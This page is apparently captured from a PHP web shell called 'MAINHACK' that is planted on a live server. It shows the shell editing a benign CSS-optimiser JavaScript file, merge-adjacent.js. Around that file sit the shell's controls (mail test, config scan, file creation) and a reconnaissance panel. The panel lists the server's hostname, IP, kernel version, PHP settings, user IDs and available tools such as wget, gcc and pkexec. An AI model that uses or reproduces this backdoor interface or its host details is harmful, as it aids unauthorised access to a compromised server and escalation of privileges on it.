[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: merge-adjacent.js
var isMergeable = require('./is-mergeable'); var optimizeProperties = require('./properties/optimize'); var sortSelectors = require('../level-1/sort-selectors'); var tidyRules = require('../level-1/tidy-rules'); var OptimizationLevel = require('../../options/optimization-level').OptimizationLevel; var serializeBody = require('../../writer/one-time').body; var serializeRules = require('../../writer/one-time').rules; var Token = require('../../tokenizer/token'); function mergeAdjacent(tokens, context) { var lastToken = [null, [], []]; var options = context.options; var adjacentSpace = options.compatibility.selectors.adjacentSpace; var selectorsSortingMethod = options.level[OptimizationLevel.One].selectorsSortingMethod; var mergeablePseudoClasses = options.compatibility.selectors.mergeablePseudoClasses; var mergeablePseudoElements = options.compatibility.selectors.mergeablePseudoElements; var mergeLimit = options.compatibility.selectors.mergeLimit; var multiplePseudoMerging = options.compatibility.selectors.multiplePseudoMerging; for (var i = 0, l = tokens.length; i < l; i++) { var token = tokens[i]; if (token[0] != Token.RULE) { lastToken = [null, [], []]; continue; } if (lastToken[0] == Token.RULE && serializeRules(token[1]) == serializeRules(lastToken[1])) { Array.prototype.push.apply(lastToken[2], token[2]); optimizeProperties(lastToken[2], true, true, context); token[2] = []; } else if (lastToken[0] == Token.RULE && serializeBody(token[2]) == serializeBody(lastToken[2]) && isMergeable(serializeRules(token[1]), mergeablePseudoClasses, mergeablePseudoElements, multiplePseudoMerging) && isMergeable(serializeRules(lastToken[1]), mergeablePseudoClasses, mergeablePseudoElements, multiplePseudoMerging) && lastToken[1].length < mergeLimit) { lastToken[1] = tidyRules(lastToken[1].concat(token[1]), false, adjacentSpace, false, context.warnings); lastToken[1] = lastToken.length > 1 ? sortSelectors(lastToken[1], selectorsSortingMethod) : lastToken[1]; token[2] = []; } else { lastToken = token; } } } module.exports = mergeAdjacent;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002